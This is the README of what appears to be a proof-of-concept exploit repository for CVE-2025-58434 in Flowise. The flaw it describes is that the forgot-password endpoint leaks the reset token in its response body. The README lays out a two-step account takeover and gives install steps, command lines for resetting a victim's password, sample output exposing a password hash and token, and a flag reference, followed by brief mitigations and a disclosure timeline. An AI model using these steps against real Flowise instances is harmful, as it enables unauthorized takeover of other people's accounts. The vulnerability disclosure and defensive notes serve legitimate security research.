
⚠️ This repository is for educational and authorized security research only.
Unauthorized use against systems you do not own or have explicit permission to test is illegal.
The forgot-password endpoint in Flowise (both cloud-hosted and self-hosted) returns a valid password reset token (tempToken) directly in the HTTP response body — without any email verification or authentication.
This means an attacker who knows (or can guess) a victim's email address can:
forgot-password endpoint → receive the tempToken in the JSON responsetempToken to call reset-password → set an arbitrary new passwordNo prior access, no user interaction, and no email access is required.
The forgot-password handler returns the entire user record — including the generated tempToken — directly in the API response instead of only sending it to the user's registered email address.
{
"user": {
"id": "<uuid>",
"name": "Victim Name",
"email": "[email protected]",
"credential": "<bcrypt-hash>",
"tempToken": "<LEAKED_TOKEN_HERE>",
"tokenExpiry": "2025-08-19T13:00:33.834Z",
"status": "active"
}
}
Attacker Flowise API
│ │
│ POST /forgot-password {email} │
│──────────────────────────────────────►│
│ │ (generates tempToken)
│◄──────────────────────────────────────│
│ 201 { tempToken: "abc123..." } │
│ │
│ POST /reset-password {email, │
│ tempToken, newPassword} │
│──────────────────────────────────────►│
│ │
│◄──────────────────────────────────────│
│ 200 OK (password changed!) │
│ │
✓ Account Takeover Complete
cloud.flowiseai.com) — confirmed affectedCheck the official Flowise GitHub for patched release information.
CVE-2025-58434/
├── cve_2025_58434_poc.py # Main PoC script (two-stage ATO)
├── requirements.txt # Python dependencies
├── README.md # This file
└── DISCLAIMER.md # Legal notice (read before use)
requests library# Clone the repository
git clone https://github.com/yourhandle/CVE-2025-58434
cd CVE-2025-58434
# Install dependencies
pip install -r requirements.txt
python3 cve_2025_58434_poc.py --help
Confirm the instance is vulnerable and retrieve the tempToken without resetting any password.
python3 cve_2025_58434_poc.py \
--url https://flowise.example.com \
--email [email protected]
Use the leaked token to reset the password immediately.
python3 cve_2025_58434_poc.py \
--url https://flowise.example.com \
--email [email protected] \
--reset \
--new-password "MyNewP@ss2025!"
python3 cve_2025_58434_poc.py \
--url https://flowise.example.com \
--email [email protected] \
--json-output
[Step 1] Sending forgot-password request …
[*] HTTP Status : 201
========================================================================
LEAKED ACCOUNT DATA
========================================================================
User ID : 3fa1c2d4-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Name : Admin User
Email : [email protected]
Credential : $2b$10$xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Status : active
tempToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
tokenExpiry : 2025-08-19T13:00:33.834Z
========================================================================
[+] tempToken obtained : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[!] VULNERABLE: The instance leaks password reset tokens unauthenticated!
If you are a Flowise instance operator, apply the following mitigations immediately:
forgot-password regardless of whether the email exists — this also prevents account enumeration.forgot-password endpoint.| Date | Event |
|---|---|
| 2025-08-19 | Vulnerability discovered and reported |
| TBD | Vendor acknowledgement |
| TBD | Patch released |
| TBD | Public disclosure |
This project is intended solely for educational purposes and authorized penetration testing.
| Field | Value |
|---|
| CVE ID | CVE-2025-58434 |
| CVSS Score | 9.8 (Critical) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-640: Weak Password Recovery Mechanism |
| Type | Authentication Bypass / Insecure Direct Object Exposure |
| Affected App | Flowise (cloud + self-hosted) |
| Endpoint 1 | POST /api/v1/account/forgot-password |
| Endpoint 2 | POST /api/v1/account/reset-password |
| Flag | Short | Description | Default |
|---|
--url URL | -u | Base URL of the Flowise instance | (required) |
--email EMAIL | -e | Target account email address | (required) |
--reset | -r | Perform Stage 2: reset password with leaked token | False |
--new-password PASS | -p | New password to set (used with --reset) | Changeme@2025! |
--timeout SECONDS | -t | HTTP request timeout | 10 |
--json-output | -j | Print raw JSON API response to stdout | False |